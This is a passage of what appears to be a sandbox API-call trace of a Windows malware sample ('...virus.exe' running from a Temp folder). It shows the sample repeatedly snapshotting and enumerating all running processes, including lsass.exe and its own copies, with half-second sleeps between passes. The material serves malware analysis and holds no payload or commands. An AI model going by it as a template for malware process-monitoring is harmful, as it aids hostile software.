th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0174.777] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0174.778] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0174.778] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0174.779] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0174.779] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0174.779] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0174.780] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0174.780] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0174.780] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0174.781] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.781] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.781] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.782] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.782] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.782] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0174.783] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.783] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.784] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0174.784] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0174.784] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0174.785] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0174.785] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0174.785] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.786] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0174.786] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0174.786] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0174.787] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0174.787] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0174.788] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0174.788] CloseHandle (hObject=0x1e4) returned 1 [0174.788] Sleep (dwMilliseconds=0x1f4) [0175.775] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e8 [0175.777] Process32FirstW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0175.777] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0175.778] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0175.778] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0175.779] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0175.779] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0175.779] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0175.780] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0175.780] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0175.780] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0175.781] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.781] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.781] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.782] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.782] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.782] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0175.783] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.783] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.784] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0175.784] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0175.785] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0175.786] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0175.786] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0175.787] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.787] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0175.787] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0175.788] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0175.788] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0175.789] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0175.790] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0175.790] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0175.791] CloseHandle (hObject=0x1e8) returned 1 [0175.791] Sleep (dwMilliseconds=0x1f4) [0176.569] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f0 [0176.573] Process32FirstW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0176.574] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0176.574] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0176.574] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0176.575] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0176.575] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0176.576] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0176.578] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0176.581] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0176.582] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0176.583] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.583] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.584] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.584] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.585] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.586] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0176.586] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.587] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.587] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0176.588] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0176.588] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0176.589] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, 